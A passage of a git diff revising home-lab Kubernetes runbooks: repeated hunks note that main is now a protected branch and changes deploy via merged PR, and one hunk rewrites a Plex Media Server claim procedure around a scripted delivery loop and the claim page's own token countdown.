agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -227,8 +227,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -52,8 +52,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+59 -55
View File
@@ -1,4 +1,4 @@
# plex-claim — claiming the Plex Media Server inside the 4-minute token window
# plex-claim — claiming the Plex Media Server inside the token window
**Alert:** none. This is an **operator procedure**, not an incident page — it is indexed here because
it is the page you need at the moment you need it, with a stopwatch running.
@@ -14,10 +14,11 @@ server to a plex.tv account. It is a **one-shot** operation: the token is exchan
the `PLEX_CLAIM` env is **ignored on every start** (upstream gate:
`[ ! -z "${PLEX_CLAIM}" ] && [ -z "${token}" ]` in `root/etc/cont-init.d/40-plex-first-run`).
**A `https://plex.tv/claim` token lives ~4 minutes.** That is shorter than commit → push → Flux's
10-minute reconcile interval → pod roll if you let those run on their own timers, which is why this
page exists: every step below is written to be run back-to-back, with the reconcile **forced** rather
than waited for. Budget: token in hand at T+0, pod restarted by roughly T+2:00.
**A `https://plex.tv/claim` token is short-lived — minutes, not hours.** Read the countdown the
claim page shows you; do not budget against a number written here. That is shorter than PR → gate →
merge → Flux's 10-minute reconcile interval → pod roll if you let those run on their own timers,
which is why this page exists: the loop is scripted and the reconcile is **forced** rather than
waited for. Measured end to end on 2026-09-29: **~2m45s**.
**An expired or wrong token does not break anything.** Verified against the image's own first-run
script (and the copy inside `plexinc/pms-docker:latest`): a failed exchange gets a 403 with an empty
@@ -66,81 +67,84 @@ infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n flux-system get kustomization apps-wave-0'
```
## The 4-minute procedure
## The procedure
Have this page open and do not stop between steps.
> **STATUS: this server was CLAIMED on 2026-09-29** and `PlexOnlineToken` is present in
> `/config` on the `plex-config` PVC. The upstream exchange is gated on that pref being
> *absent*, so `PLEX_CLAIM` is now a **no-op on every start** whatever it holds. You only need
> this page again after a `/config` wipe or a rebuild onto an empty PVC.
**On the clock.** The token is short-lived — **read the countdown that plex.tv/claim shows you**
rather than trusting a number written here. (Earlier revisions of this page asserted a "~4-minute
TTL" in four places with no citation; upstream `pms-docker` documents no expiry at all. The page
is the only authority, and it is on screen at T+0.)
**A burnt token costs nothing.** An expired token gets a 403 with an empty body, `curl`'s status is
never checked, the `if` does not fire, there is no `else` and no `exit 1`, and the script (no
`set -e`) exits 0. The pod comes up unclaimed and serving. So retry freely.
### One command
1. **T+0 — get the token.** Sign in to plex.tv as the account that should OWN this server, open
<https://plex.tv/claim>, copy the `claim-…` string. The clock starts now.
<https://plex.tv/claim>, copy the `claim-…` string.
2. **T+0:15 — put it in the Secret**, in place, encrypted, without it ever touching a plaintext file:
2. **Put it in the Secret** — in place, encrypted, never touching a plaintext file:
```
infra/devcontainer/dev.sh run sops apps/wave-0/plex-claim-secret.sops.yaml
```
Replace the `PLEX_CLAIM:` value (the placeholder `replace-me-with-a-fresh-plex-tv-claim-token`, or
a previous expired token) and save. `sops` re-encrypts on write to the committed age recipient.
3. **T+0:45 — commit and push.** `git push origin main` **is** the deploy; there is no other apply
step.
3. **Ship it.** This drives the whole delivery loop and prints a running stopwatch:
```
git add apps/wave-0/plex-claim-secret.sops.yaml
git commit -m 'chore(plex): fresh plex.tv claim token'
git push origin main
./infra/plex/claim-ship.sh
```
4. **T+1:00 — force the reconcile immediately. This is the one command that saves the window** — it
pulls the new commit and re-applies wave 0 instead of waiting up to 10 minutes for the interval:
branch → commit → push → PR → gate → merge → `flux reconcile --with-source` → `rollout restart`
→ verdict. It refuses to run if the file is unchanged or not encrypted.
```
infra/devcontainer/dev.sh run bash -c \
'flux --context k3s-prod -n flux-system reconcile kustomization apps-wave-0 --with-source'
```
**Measured end to end, 2026-09-29: ~2m45s.** Gate ~1m40s, merge + reconcile ~25s, pod roll and
container start ~30s.
`--with-source` is the load-bearing flag: it reconciles the `flux-system` GitRepository first, so
the Kustomization applies **your commit** and not the previously-fetched revision.
### Why it is a script and not six pasted commands
5. **T+1:30 — roll the pod.** This step is **mandatory and easy to forget**: a changed Secret does
**not** restart anything. `PLEX_CLAIM` is injected by `secretKeyRef` and read only at container
start, and the Deployment's pod template is byte-identical across this change, so Flux applies the
new Secret and the running pod keeps the old value forever.
`main` is a **protected branch** — the direct push this page used to instruct is now rejected — so
the deploy is a PR merged after a green gate. Three of those steps are easy to get wrong under time
pressure, and two are silent when skipped:
```
infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n plex rollout restart deployment/plex'
```
- **`--with-source` is load-bearing.** Without it the Kustomization applies the previously-fetched
revision, not your commit.
- **The pod roll is mandatory.** Only the Secret's ciphertext changes, so the Deployment's pod
template is byte-identical and *nothing restarts on its own*. `PLEX_CLAIM` is read once, at
container start. Skip this and the new Secret sits in the cluster while the running pod keeps the
old value forever.
- **The branch is named `feat/…` on purpose.** `act_runner` capacity is 1, and `gate.yml`'s push
trigger covers `feature/** fix/** docs/** chore/**` but *not* `feat/**`. A `chore/` branch fires a
second redundant run that serialises ahead of the PR run and roughly doubles the wall clock.
6. **T+2:00 — confirm the exchange happened**, in the new pod's init log:
### Reading the verdict
```
infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n plex logs deploy/plex --since=5m | grep -i -e claim -e token'
```
* `Attempting to obtain server token from claim token` **and** `Token obtained successfully`
⇒ **claimed.** Re-run the First-commands `PlexOnlineToken=` check to confirm it persisted, then
create the libraries over `/media/movies`, `/media/tv`, `/media/photos`.
* `Attempting…` with **no** success line ⇒ the token was expired or invalid. Nothing is broken; go
back to step 1 with a new one.
* **Neither line** ⇒ the exchange was skipped: `/config` already had a `PlexOnlineToken` (already
claimed — the expected case now), or the env did not reach the container. Check by NAME only:
* `Attempting to obtain server token from claim token` **and** `Token obtained successfully`
⇒ **claimed.** Re-run the First-commands `PlexOnlineToken=` check to confirm it persisted, then
create the libraries over `/media/movies`, `/media/tv`, `/media/photos`.
* `Attempting to obtain server token from claim token` with **no** success line ⇒ the token was
expired or invalid. Nothing is broken; go back to step 1 with a new token.
* **Neither line** ⇒ the exchange was skipped, which means `/config` already had a
`PlexOnlineToken` (already claimed) or the env did not reach the container. Check the pod actually
has the variable, by NAME only:
```
infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n plex get pod -l app.kubernetes.io/name=plex \
-o jsonpath="{.items[0].spec.containers[0].env[*].name}"'
```
```
infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n plex get pod -l app.kubernetes.io/name=plex \
-o jsonpath="{.items[0].spec.containers[0].env[*].name}"'
```
## Likely causes, most likely first
When the claim does not take, in order of how often it is the answer here:
1. **The token expired** — you spent more than ~4 minutes, usually in step 3 or waiting on step 4.
Symptom: the "Attempting…" line with no success line. Remedy: a new token, and force the reconcile
rather than waiting for it.
1. **The token expired** — you exceeded the countdown, usually by reviewing the PR instead of
merging it the moment the gate went green. Symptom: the "Attempting…" line with no success line.
Remedy: a new token, and let `claim-ship.sh` drive the loop rather than pasting steps.
2. **The pod was never restarted** (step 5 skipped). Symptom: no claim log lines at all from a pod
whose `AGE` predates your push. The Secret is correct in git and in the cluster and the running
container still holds the placeholder.
+4 -2
View File
@@ -58,8 +58,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -60,8 +60,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -54,8 +54,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -66,8 +66,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands